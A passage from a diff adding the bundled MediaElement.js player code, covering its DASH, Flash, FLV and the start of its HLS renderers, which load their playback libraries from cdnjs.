+		    events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    attachNativeEvents = function attachNativeEvents(e) {
+			if (e.type !== 'error') {
+				var _event = (0, _general.createEvent)(e.type, mediaElement);
+				mediaElement.dispatchEvent(_event);
+			}
+		},
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return dashPlayer !== null ? node[propName] : null;
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					if (propName === 'src') {
+						var source = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value;
+						node[propName] = source;
+						if (dashPlayer !== null) {
+							dashPlayer.reset();
+							for (var _i = 0, _total = events.length; _i < _total; _i++) {
+								node.removeEventListener(events[_i], attachNativeEvents);
+							}
+							dashPlayer = NativeDash._createPlayer({
+								options: options.dash,
+								id: id
+							});
+
+							if (value && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && _typeof(value.drm) === 'object') {
+								dashPlayer.setProtectionData(value.drm);
+								if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) {
+									dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
+								}
+							}
+							dashPlayer.attachSource(source);
+							if (autoplay) {
+								dashPlayer.play();
+							}
+						}
+					} else {
+						node[propName] = value;
+					}
+				}
+			};
+		};
+
+		for (var _i2 = 0, _total2 = props.length; _i2 < _total2; _i2++) {
+			assignGettersSetters(props[_i2]);
+		}
+
+		_window2.default['__ready__' + id] = function (_dashPlayer) {
+			mediaElement.dashPlayer = dashPlayer = _dashPlayer;
+
+			var dashEvents = dashjs.MediaPlayer.events,
+			    assignEvents = function assignEvents(eventName) {
+				if (eventName === 'loadedmetadata') {
+					dashPlayer.getDebug().setLogToBrowserConsole(options.dash.debug);
+					dashPlayer.initialize();
+					dashPlayer.setScheduleWhilePaused(false);
+					dashPlayer.setFastSwitchEnabled(true);
+					dashPlayer.attachView(node);
+					dashPlayer.setAutoPlay(false);
+
+					if (_typeof(options.dash.drm) === 'object' && !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) {
+						dashPlayer.setProtectionData(options.dash.drm);
+						if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) {
+							dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
+						}
+					}
+					dashPlayer.attachSource(node.getSrc());
+				}
+
+				node.addEventListener(eventName, attachNativeEvents);
+			};
+
+			for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) {
+				assignEvents(events[_i3]);
+			}
+
+			var assignMdashEvents = function assignMdashEvents(name, data) {
+				if (name.toLowerCase() === 'error') {
+					mediaElement.generateError(data.message, node.src);
+					console.error(data);
+				} else {
+					var _event2 = (0, _general.createEvent)(name, mediaElement);
+					_event2.data = data;
+					mediaElement.dispatchEvent(_event2);
+				}
+			};
+
+			for (var eventType in dashEvents) {
+				if (dashEvents.hasOwnProperty(eventType)) {
+					dashPlayer.on(dashEvents[eventType], function (e) {
+						for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
+							args[_key - 1] = arguments[_key];
+						}
+
+						return assignMdashEvents(e.type, args);
+					});
+				}
+			}
+		};
+
+		if (mediaFiles && mediaFiles.length > 0) {
+			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
+					node.setAttribute('src', mediaFiles[_i4].src);
+					if (typeof mediaFiles[_i4].drm !== 'undefined') {
+						options.dash.drm = mediaFiles[_i4].drm;
+					}
+					break;
+				}
+			}
+		}
+
+		node.setAttribute('id', id);
+
+		originalNode.parentNode.insertBefore(node, originalNode);
+		originalNode.autoplay = false;
+		originalNode.style.display = 'none';
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			node.pause();
+			node.style.display = 'none';
+			return node;
+		};
+
+		node.show = function () {
+			node.style.display = '';
+			return node;
+		};
+
+		node.destroy = function () {
+			if (dashPlayer !== null) {
+				dashPlayer.reset();
+			}
+		};
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		mediaElement.promises.push(NativeDash.load({
+			options: options.dash,
+			id: id
+		}));
+
+		return node;
+	}
+};
+
+_media.typeChecks.push(function (url) {
+	return ~url.toLowerCase().indexOf('.mpd') ? 'application/dash+xml' : null;
+});
+
+_renderer.renderer.add(DashNativeRenderer);
+
+},{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],11:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.PluginDetector = undefined;
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(18);
+
+var _constants = _dereq_(16);
+
+var _media = _dereq_(19);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var PluginDetector = exports.PluginDetector = {
+	plugins: [],
+
+	hasPluginVersion: function hasPluginVersion(plugin, v) {
+		var pv = PluginDetector.plugins[plugin];
+		v[1] = v[1] || 0;
+		v[2] = v[2] || 0;
+		return pv[0] > v[0] || pv[0] === v[0] && pv[1] > v[1] || pv[0] === v[0] && pv[1] === v[1] && pv[2] >= v[2];
+	},
+
+	addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) {
+		PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect);
+	},
+
+	detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) {
+
+		var version = [0, 0, 0],
+		    description = void 0,
+		    ax = void 0;
+
+		if (_constants.NAV.plugins !== null && _constants.NAV.plugins !== undefined && _typeof(_constants.NAV.plugins[pluginName]) === 'object') {
+			description = _constants.NAV.plugins[pluginName].description;
+			if (description && !(typeof _constants.NAV.mimeTypes !== 'undefined' && _constants.NAV.mimeTypes[mimeType] && !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) {
+				version = description.replace(pluginName, '').replace(/^\s+/, '').replace(/\sr/gi, '.').split('.');
+				for (var i = 0, total = version.length; i < total; i++) {
+					version[i] = parseInt(version[i].match(/\d+/), 10);
+				}
+			}
+		} else if (_window2.default.ActiveXObject !== undefined) {
+			try {
+				ax = new ActiveXObject(activeX);
+				if (ax) {
+					version = axDetect(ax);
+				}
+			} catch (e) {
+				
+			}
+		}
+		return version;
+	}
+};
+
+PluginDetector.addPlugin('flash', 'Shockwave Flash', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash', function (ax) {
+	var version = [],
+	    d = ax.GetVariable("$version");
+
+	if (d) {
+		d = d.split(" ")[1].split(",");
+		version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];
+	}
+	return version;
+});
+
+var FlashMediaElementRenderer = {
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var flash = {};
+		var isActive = false;
+
+		flash.options = options;
+		flash.id = mediaElement.id + '_' + flash.options.prefix;
+		flash.mediaElement = mediaElement;
+		flash.flashState = {};
+		flash.flashApi = null;
+		flash.flashApiStack = [];
+
+		var props = _mejs2.default.html5media.properties,
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			flash.flashState[propName] = null;
+
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			flash['get' + capName] = function () {
+				if (flash.flashApi !== null) {
+					if (typeof flash.flashApi['get_' + propName] === 'function') {
+						var value = flash.flashApi['get_' + propName]();
+
+						if (propName === 'buffered') {
+							return {
+								start: function start() {
+									return 0;
+								},
+								end: function end() {
+									return value;
+								},
+								length: 1
+							};
+						}
+						return value;
+					} else {
+						return null;
+					}
+				} else {
+					return null;
+				}
+			};
+
+			flash['set' + capName] = function (value) {
+				if (propName === 'src') {
+					value = (0, _media.absolutizeUrl)(value);
+				}
+
+				if (flash.flashApi !== null && flash.flashApi['set_' + propName] !== undefined) {
+					try {
+						flash.flashApi['set_' + propName](value);
+					} catch (e) {
+						
+					}
+				} else {
+					flash.flashApiStack.push({
+						type: 'set',
+						propName: propName,
+						value: value
+					});
+				}
+			};
+		};
+
+		for (var i = 0, total = props.length; i < total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		var methods = _mejs2.default.html5media.methods,
+		    assignMethods = function assignMethods(methodName) {
+			flash[methodName] = function () {
+				if (isActive) {
+					if (flash.flashApi !== null) {
+						if (flash.flashApi['fire_' + methodName]) {
+							try {
+								flash.flashApi['fire_' + methodName]();
+							} catch (e) {
+								
+							}
+						} else {
+							
+						}
+					} else {
+						flash.flashApiStack.push({
+							type: 'call',
+							methodName: methodName
+						});
+					}
+				}
+			};
+		};
+		methods.push('stop');
+		for (var _i = 0, _total = methods.length; _i < _total; _i++) {
+			assignMethods(methods[_i]);
+		}
+
+		var initEvents = ['rendererready'];
+
+		for (var _i2 = 0, _total2 = initEvents.length; _i2 < _total2; _i2++) {
+			var event = (0, _general.createEvent)(initEvents[_i2], flash);
+			mediaElement.dispatchEvent(event);
+		}
+
+		_window2.default['__ready__' + flash.id] = function () {
+
+			flash.flashReady = true;
+			flash.flashApi = _document2.default.getElementById('__' + flash.id);
+
+			if (flash.flashApiStack.length) {
+				for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 < _total3; _i3++) {
+					var stackItem = flash.flashApiStack[_i3];
+
+					if (stackItem.type === 'set') {
+						var propName = stackItem.propName,
+						    capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+						flash['set' + capName](stackItem.value);
+					} else if (stackItem.type === 'call') {
+						flash[stackItem.methodName]();
+					}
+				}
+			}
+		};
+
+		_window2.default['__event__' + flash.id] = function (eventName, message) {
+			var event = (0, _general.createEvent)(eventName, flash);
+			if (message) {
+				try {
+					event.data = JSON.parse(message);
+					event.details.data = JSON.parse(message);
+				} catch (e) {
+					event.message = message;
+				}
+			}
+
+			flash.mediaElement.dispatchEvent(event);
+		};
+
+		flash.flashWrapper = _document2.default.createElement('div');
+
+		if (['always', 'sameDomain'].indexOf(flash.options.shimScriptAccess) === -1) {
+			flash.options.shimScriptAccess = 'sameDomain';
+		}
+
+		var autoplay = mediaElement.originalNode.autoplay,
+		    flashVars = ['uid=' + flash.id, 'autoplay=' + autoplay, 'allowScriptAccess=' + flash.options.shimScriptAccess, 'preload=' + (mediaElement.originalNode.getAttribute('preload') || '')],
+		    isVideo = mediaElement.originalNode !== null && mediaElement.originalNode.tagName.toLowerCase() === 'video',
+		    flashHeight = isVideo ? mediaElement.originalNode.height : 1,
+		    flashWidth = isVideo ? mediaElement.originalNode.width : 1;
+
+		if (mediaElement.originalNode.getAttribute('src')) {
+			flashVars.push('src=' + mediaElement.originalNode.getAttribute('src'));
+		}
+
+		if (flash.options.enablePseudoStreaming === true) {
+			flashVars.push('pseudostreamstart=' + flash.options.pseudoStreamingStartQueryParam);
+			flashVars.push('pseudostreamtype=' + flash.options.pseudoStreamingType);
+		}
+
+		if (flash.options.streamDelimiter) {
+			flashVars.push('streamdelimiter=' + encodeURIComponent(flash.options.streamDelimiter));
+		}
+
+		if (flash.options.proxyType) {
+			flashVars.push('proxytype=' + flash.options.proxyType);
+		}
+
+		mediaElement.appendChild(flash.flashWrapper);
+		mediaElement.originalNode.style.display = 'none';
+
+		var settings = [];
+
+		if (_constants.IS_IE || _constants.IS_EDGE) {
+			var specialIEContainer = _document2.default.createElement('div');
+			flash.flashWrapper.appendChild(specialIEContainer);
+
+			if (_constants.IS_EDGE) {
+				settings = ['type="application/x-shockwave-flash"', 'data="' + flash.options.pluginPath + flash.options.filename + '"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '\'"'];
+			} else {
+				settings = ['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"', 'codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '"'];
+			}
+
+			if (!isVideo) {
+				settings.push('style="clip: rect(0 0 0 0); position: absolute;"');
+			}
+
+			specialIEContainer.outerHTML = '<object ' + settings.join(' ') + '>' + ('<param name="movie" value="' + flash.options.pluginPath + flash.options.filename + '?x=' + new Date() + '" />') + ('<param name="flashvars" value="' + flashVars.join('&amp;') + '" />') + '<param name="quality" value="high" />' + '<param name="bgcolor" value="#000000" />' + '<param name="wmode" value="transparent" />' + ('<param name="allowScriptAccess" value="' + flash.options.shimScriptAccess + '" />') + '<param name="allowFullScreen" value="true" />' + ('<div>' + _i18n2.default.t('mejs.install-flash') + '</div>') + '</object>';
+		} else {
+
+			settings = ['id="__' + flash.id + '"', 'name="__' + flash.id + '"', 'play="true"', 'loop="false"', 'quality="high"', 'bgcolor="#000000"', 'wmode="transparent"', 'allowScriptAccess="' + flash.options.shimScriptAccess + '"', 'allowFullScreen="true"', 'type="application/x-shockwave-flash"', 'pluginspage="//www.macromedia.com/go/getflashplayer"', 'src="' + flash.options.pluginPath + flash.options.filename + '"', 'flashvars="' + flashVars.join('&') + '"'];
+
+			if (isVideo) {
+				settings.push('width="' + flashWidth + '"');
+				settings.push('height="' + flashHeight + '"');
+			} else {
+				settings.push('style="position: fixed; left: -9999em; top: -9999em;"');
+			}
+
+			flash.flashWrapper.innerHTML = '<embed ' + settings.join(' ') + '>';
+		}
+
+		flash.flashNode = flash.flashWrapper.lastChild;
+
+		flash.hide = function () {
+			isActive = false;
+			if (isVideo) {
+				flash.flashNode.style.display = 'none';
+			}
+		};
+		flash.show = function () {
+			isActive = true;
+			if (isVideo) {
+				flash.flashNode.style.display = '';
+			}
+		};
+		flash.setSize = function (width, height) {
+			flash.flashNode.style.width = width + 'px';
+			flash.flashNode.style.height = height + 'px';
+
+			if (flash.flashApi !== null && typeof flash.flashApi.fire_setSize === 'function') {
+				flash.flashApi.fire_setSize(width, height);
+			}
+		};
+
+		flash.destroy = function () {
+			flash.flashNode.remove();
+		};
+
+		if (mediaFiles && mediaFiles.length > 0) {
+			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
+					flash.setSrc(mediaFiles[_i4].src);
+					break;
+				}
+			}
+		}
+
+		return flash;
+	}
+};
+
+var hasFlash = PluginDetector.hasPluginVersion('flash', [10, 0, 0]);
+
+if (hasFlash) {
+	_media.typeChecks.push(function (url) {
+		url = url.toLowerCase();
+
+		if (url.startsWith('rtmp')) {
+			if (~url.indexOf('.mp3')) {
+				return 'audio/rtmp';
+			} else {
+				return 'video/rtmp';
+			}
+		} else if (/\.og(a|g)/i.test(url)) {
+			return 'audio/ogg';
+		} else if (~url.indexOf('.m3u8')) {
+			return 'application/x-mpegURL';
+		} else if (~url.indexOf('.mpd')) {
+			return 'application/dash+xml';
+		} else if (~url.indexOf('.flv')) {
+			return 'video/flv';
+		} else {
+			return null;
+		}
+	});
+
+	var FlashMediaElementVideoRenderer = {
+		name: 'flash_video',
+		options: {
+			prefix: 'flash_video',
+			filename: 'mediaelement-flash-video.swf',
+			enablePseudoStreaming: false,
+
+			pseudoStreamingStartQueryParam: 'start',
+
+			pseudoStreamingType: 'byte',
+
+			proxyType: '',
+
+			streamDelimiter: ''
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['video/mp4', 'video/rtmp', 'audio/rtmp', 'rtmp/mp4', 'audio/mp4', 'video/flv', 'video/x-flv'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+
+	};
+	_renderer.renderer.add(FlashMediaElementVideoRenderer);
+
+	var FlashMediaElementHlsVideoRenderer = {
+		name: 'flash_hls',
+		options: {
+			prefix: 'flash_hls',
+			filename: 'mediaelement-flash-video-hls.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementHlsVideoRenderer);
+
+	var FlashMediaElementMdashVideoRenderer = {
+		name: 'flash_dash',
+		options: {
+			prefix: 'flash_dash',
+			filename: 'mediaelement-flash-video-mdash.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['application/dash+xml'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementMdashVideoRenderer);
+
+	var FlashMediaElementAudioRenderer = {
+		name: 'flash_audio',
+		options: {
+			prefix: 'flash_audio',
+			filename: 'mediaelement-flash-audio.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['audio/mp3'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementAudioRenderer);
+
+	var FlashMediaElementAudioOggRenderer = {
+		name: 'flash_audio_ogg',
+		options: {
+			prefix: 'flash_audio_ogg',
+			filename: 'mediaelement-flash-audio-ogg.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['audio/ogg', 'audio/oga', 'audio/ogv'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementAudioOggRenderer);
+}
+
+},{"16":16,"18":18,"19":19,"2":2,"3":3,"5":5,"7":7,"8":8}],12:[function(_dereq_,module,exports){
+'use strict';
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(18);
+
+var _constants = _dereq_(16);
+
+var _media = _dereq_(19);
+
+var _dom = _dereq_(17);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NativeFlv = {
+
+	promise: null,
+
+	load: function load(settings) {
+		if (typeof flvjs !== 'undefined') {
+			NativeFlv.promise = new Promise(function (resolve) {
+				resolve();
+			}).then(function () {
+				NativeFlv._createPlayer(settings);
+			});
+		} else {
+			settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.3.3/flv.min.js';
+
+			NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path);
+			NativeFlv.promise.then(function () {
+				NativeFlv._createPlayer(settings);
+			});
+		}
+
+		return NativeFlv.promise;
+	},
+
+	_createPlayer: function _createPlayer(settings) {
+		flvjs.LoggingControl.enableDebug = settings.options.debug;
+		flvjs.LoggingControl.enableVerbose = settings.options.debug;
+		var player = flvjs.createPlayer(settings.options, settings.configs);
+		_window2.default['__ready__' + settings.id](player);
+		return player;
+	}
+};
+
+var FlvNativeRenderer = {
+	name: 'native_flv',
+	options: {
+		prefix: 'native_flv',
+		flv: {
+			path: 'https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.3.3/flv.min.js',
+
+			cors: true,
+			debug: false
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return _constants.HAS_MSE && ['video/x-flv', 'video/flv'].indexOf(type.toLowerCase()) > -1;
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var originalNode = mediaElement.originalNode,
+		    id = mediaElement.id + '_' + options.prefix;
+
+		var node = null,
+		    flvPlayer = null;
+
+		node = originalNode.cloneNode(true);
+		options = Object.assign(options, mediaElement.options);
+
+		var props = _mejs2.default.html5media.properties,
+		    events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    attachNativeEvents = function attachNativeEvents(e) {
+			if (e.type !== 'error') {
+				var _event = (0, _general.createEvent)(e.type, mediaElement);
+				mediaElement.dispatchEvent(_event);
+			}
+		},
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return flvPlayer !== null ? node[propName] : null;
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					if (propName === 'src') {
+						node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value;
+						if (flvPlayer !== null) {
+							var _flvOptions = {};
+							_flvOptions.type = 'flv';
+							_flvOptions.url = value;
+							_flvOptions.cors = options.flv.cors;
+							_flvOptions.debug = options.flv.debug;
+							_flvOptions.path = options.flv.path;
+							var _flvConfigs = options.flv.configs;
+
+							flvPlayer.destroy();
+							for (var i = 0, total = events.length; i < total; i++) {
+								node.removeEventListener(events[i], attachNativeEvents);
+							}
+							flvPlayer = NativeFlv._createPlayer({
+								options: _flvOptions,
+								configs: _flvConfigs,
+								id: id
+							});
+							flvPlayer.attachMediaElement(node);
+							flvPlayer.load();
+						}
+					} else {
+						node[propName] = value;
+					}
+				}
+			};
+		};
+
+		for (var i = 0, total = props.length; i < total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		_window2.default['__ready__' + id] = function (_flvPlayer) {
+			mediaElement.flvPlayer = flvPlayer = _flvPlayer;
+
+			var flvEvents = flvjs.Events,
+			    assignEvents = function assignEvents(eventName) {
+				if (eventName === 'loadedmetadata') {
+					flvPlayer.unload();
+					flvPlayer.detachMediaElement();
+					flvPlayer.attachMediaElement(node);
+					flvPlayer.load();
+				}
+
+				node.addEventListener(eventName, attachNativeEvents);
+			};
+
+			for (var _i = 0, _total = events.length; _i < _total; _i++) {
+				assignEvents(events[_i]);
+			}
+
+			var assignFlvEvents = function assignFlvEvents(name, data) {
+				if (name === 'error') {
+					var message = data[0] + ': ' + data[1] + ' ' + data[2].msg;
+					mediaElement.generateError(message, node.src);
+				} else {
+					var _event2 = (0, _general.createEvent)(name, mediaElement);
+					_event2.data = data;
+					mediaElement.dispatchEvent(_event2);
+				}
+			};
+
+			var _loop = function _loop(eventType) {
+				if (flvEvents.hasOwnProperty(eventType)) {
+					flvPlayer.on(flvEvents[eventType], function () {
+						for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+							args[_key] = arguments[_key];
+						}
+
+						return assignFlvEvents(flvEvents[eventType], args);
+					});
+				}
+			};
+
+			for (var eventType in flvEvents) {
+				_loop(eventType);
+			}
+		};
+
+		if (mediaFiles && mediaFiles.length > 0) {
+			for (var _i2 = 0, _total2 = mediaFiles.length; _i2 < _total2; _i2++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) {
+					node.setAttribute('src', mediaFiles[_i2].src);
+					break;
+				}
+			}
+		}
+
+		node.setAttribute('id', id);
+
+		originalNode.parentNode.insertBefore(node, originalNode);
+		originalNode.autoplay = false;
+		originalNode.style.display = 'none';
+
+		var flvOptions = {};
+		flvOptions.type = 'flv';
+		flvOptions.url = node.src;
+		flvOptions.cors = options.flv.cors;
+		flvOptions.debug = options.flv.debug;
+		flvOptions.path = options.flv.path;
+		var flvConfigs = options.flv.configs;
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			if (flvPlayer !== null) {
+				flvPlayer.pause();
+			}
+			node.style.display = 'none';
+			return node;
+		};
+
+		node.show = function () {
+			node.style.display = '';
+			return node;
+		};
+
+		node.destroy = function () {
+			if (flvPlayer !== null) {
+				flvPlayer.destroy();
+			}
+		};
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		mediaElement.promises.push(NativeFlv.load({
+			options: flvOptions,
+			configs: flvConfigs,
+			id: id
+		}));
+
+		return node;
+	}
+};
+
+_media.typeChecks.push(function (url) {
+	return ~url.toLowerCase().indexOf('.flv') ? 'video/flv' : null;
+});
+
+_renderer.renderer.add(FlvNativeRenderer);
+
+},{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],13:[function(_dereq_,module,exports){
+'use strict';
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(18);
+
+var _constants = _dereq_(16);
+
+var _media = _dereq_(19);
+
+var _dom = _dereq_(17);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NativeHls = {
+
+	promise: null,
+
+	load: function load(settings) {
+		if (typeof Hls !== 'undefined') {
+			NativeHls.promise = new Promise(function (resolve) {
+				resolve();
+			}).then(function () {
+				NativeHls._createPlayer(settings);
+			});
+		} else {
+			settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdnjs.cloudflare.com/ajax/libs/hls.js/0.8.4/hls.min.js';
+
+			NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path);
+			NativeHls.promise.then(function () {
+				NativeHls._createPlayer(settings);
+			});
+		}
+
+		return NativeHls.promise;
+	},
+
+	_createPlayer: function _createPlayer(settings) {
+		var player = new Hls(settings.options);
+		_window2.default['__ready__' + settings.id](player);
+		return player;
+	}
+};
+
+var HlsNativeRenderer = {
+	name: 'native_hls',
+	options: {
+		prefix: 'native_hls',
+		hls: {
+			path: 'https://cdnjs.cloudflare.com/ajax/libs/hls.js/0.8.4/hls.min.js',
+
+			autoStartLoad: false,
+			debug: false
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return _constants.HAS_MSE && ['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) > -1;
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var originalNode = mediaElement.originalNode,
+		    id = mediaElement.id + '_' + options.prefix,
+		    preload = originalNode.getAttribute('preload'),
+		    autoplay = originalNode.autoplay;
+
+		var hlsPlayer = null,
+		    node = null,
+		    index = 0,
+		    total = mediaFiles.length;
+
+		node = originalNode.cloneNode(true);
+		options = Object.assign(options, mediaElement.options);
+		options.hls.autoStartLoad = preload && preload !== 'none' || autoplay;
+
+		var props = _mejs2.default.html5media.properties,
+		    events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    attachNativeEvents = function attachNativeEvents(e) {
+			if (e.type !== 'error') {
+				var _event = (0, _general.createEvent)(e.type, mediaElement);
+				mediaElement.dispatchEvent(_event);
+			}
+		},
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return hlsPlayer !== null ? node[propName] : null;
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					if (propName === 'src') {
+						node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value;
+						if (hlsPlayer !== null) {
+							hlsPlayer.destroy();
+							for (var i = 0, _total = events.length; i < _total; i++) {
+								node.removeEventListener(events[i], attachNativeEvents);
+							}
+							hlsPlayer = NativeHls._createPlayer({
+								options: options.hls,
+								id: id
+							});
+							hlsPlayer.loadSource(value);
+							hlsPlayer.attachMedia(node);
+						}
+					} else {
+						node[propName] = value;
+					}
+				}
+			};
+		};
+
+		for (var i = 0, _total2 = props.length; i < _total2; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		_window2.default['__ready__' + id] = function (_hlsPlayer) {
+			mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer;
+			var hlsEvents = Hls.Events,
+			    assignEvents = function assignEvents(eventName) {
+				if (eventName === 'loadedmetadata') {
+					var url = mediaElement.originalNode.src;
+					hlsPlayer.detachMedia();
+					hlsPlayer.loadSource(url);
+					hlsPlayer.attachMedia(node);
+				}
+
+				node.addEventListener(eventName, attachNativeEvents);
+			};
+
+			for (var _i = 0, _total3 = events.length; _i < _total3; _i++) {
+				assignEvents(events[_i]);
+			}
+
+			var recoverDecodingErrorDate = void 0,
+			    recoverSwapAudioCodecDate = void 0;
+			var assignHlsEvents = function assignHlsEvents(name, data) {
+				if (name === 'hlsError') {
+					console.warn(data);
+					data = data[1];
+
+					if (data.fatal) {
+						switch (data.type) {
+							case 'mediaError':
+								var now = new Date().getTime();
+								if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate > 3000) {
+									recoverDecodingErrorDate = new Date().getTime();
